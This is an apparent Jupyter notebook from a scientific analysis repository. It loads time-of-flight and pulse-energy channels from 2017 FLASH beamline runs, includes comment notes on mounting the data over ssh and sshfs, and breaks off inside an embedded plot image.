}, "nbformat": 4, "nbformat_minor": 2 }

mit

FXIhub/hummingbird

examples/flash/holo-2017/notebooks/TOF plot.ipynb

2

155738

{ "cells": [ { "cell_type": "code", "execution_count": 3, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Populating the interactive namespace from numpy and matplotlib\n" ] } ], "source": [ "%pylab inline\n", "import sys\n", "sys.path.append(\"/Users/hantke/flash_mnt/home/tekeberg/Source/pah/\")\n", "import numpy\n", "import matplotlib\n", "import matplotlib.pyplot\n", "from camp.pah.beamtimedaqaccess import BeamtimeDaqAccess" ] }, { "cell_type": "code", "execution_count": 6, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# MOUNT YOUR DATA\n", "# ssh -f mhantke@bastion -L 2222:max-cfel002:22 -N\n", "# sshfs -p 2222 mhantke@localhost:/ /Users/hantke/flash_mnt/\n", "\n", "#root_directory_of_h5_files = \"/Users/hantke/flash_mnt/data/beamline/current/raw/hdf/block-02\"\n", "root_directory_of_h5_files = \"/Users/hantke/flash_mnt/asap3/flash/gpfs/bl1/2017/data/11001733/raw/hdf/block-02\"\n", "daq= BeamtimeDaqAccess.create(root_directory_of_h5_files)\n", "\n", "# Define DAQ channel names\n", "#tunnelEnergyChannelName= \"/Photon Diagnostic/GMD/Average energy/energy tunnel (raw)\"\n", "bda_energy_channel_name = \"/Photon Diagnostic/GMD/Pulse resolved energy/energy BDA\"\n", "\n", "\n", "# All TOF values of a run\n", "tofChannelName= \"/Experiment/BL1/ADQ412 GHz ADC/CH00/TD\"\n" ] }, { "cell_type": "code", "execution_count": 7, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "read run 16115\n", "read run 16116\n", "read run 16117\n", "read run 16118\n", "read run 16120\n", "read run 16121\n", "read run 16122\n", "read run 16123\n", "read run 16124\n", "read run 16125\n", "read run 16126\n", "read run 16127\n", "read run 16128\n", "read run 16129\n", "read run 16130\n", "read run 16131\n", "read run 16132\n", "read run 16133\n", "read run 16134\n", "read run 16135\n", "read run 16136\n", "read run 16137\n", "read run 16138\n", "read run 16139\n", "read run 16140\n", "read run 16142\n", "read run 16143\n", "read run 16144\n", "read run 16145\n" ] }, { "data": { "image/png": "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